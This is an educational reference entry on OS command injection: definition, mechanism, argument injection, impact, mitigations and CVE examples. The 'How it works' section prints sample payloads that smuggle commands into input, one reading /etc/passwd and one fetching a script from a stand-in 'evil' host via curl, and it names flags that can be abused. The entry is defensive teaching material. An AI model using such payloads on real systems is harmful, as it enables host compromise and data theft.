Command Injection (OS Command Injection)

Command injection lets attacker-controlled strings reach a shell, running arbitrary operating-system commands.

Definition

Command injection is the vulnerability that arises when an application interpolates untrusted input into a string that is then executed by an OS shell or process-spawning primitive. Unlike SQL injection — which is contained within the database — command injection runs in the host operating system, so a successful exploit is usually a full host compromise on the first try.

The bug pattern is almost always recognisable: a feature that "shells out" to a system tool to do work the application could have done in-process. A ping diagnostic that calls `ping <host>`, a thumbnail generator that calls `convert <file>`, a backup script that calls `tar`. If the input is glued into the command string without quoting, a shell metacharacter (`;`, `&&`, `|`, backtick, `$(...)`) escapes the intended command and runs whatever follows.

How it works

The attacker submits a payload containing shell metacharacters. `8.8.8.8; cat /etc/passwd` in a ping form, `x.jpg & whoami` in a filename, `$(curl evil/sh)` in a free-form field. The shell parses the string, sees the metacharacter, splits the input into multiple commands, and runs them all in sequence under the application's user id.

A close cousin is argument injection, in which the input is passed without a shell but as an argument to a command that accepts dangerous flags (`tar --to-command=...`, `find -exec`, `rsync -e`). The command itself is fixed, but the attacker chooses flags that change its behaviour.

Impact

Full remote code execution under the application's user id, usually leading to host compromise, lateral movement, and persistence. On systems where the application runs as root or as a docker socket user, escalation to host root is trivial.

Mitigation

Avoid the shell entirely: use the language-native `exec` API that takes `(program, args[])` rather than a single string passed through `/bin/sh -c`. When the shell is unavoidable (legacy scripts), escape arguments with the language's shell-quoting primitive (`shlex.quote` in Python, `/bin/sh` single-quote wrapping) and treat that code path as security-critical. For argument injection, sanitise input against an allowlist and prefer `--` separators where the command supports them.

Examples

  • CVE-2014-6271 — Shellshock; bash function-export parser executes appended commands.
  • CVE-2021-44228 — Log4Shell composed with JNDI to run arbitrary commands.

See also

References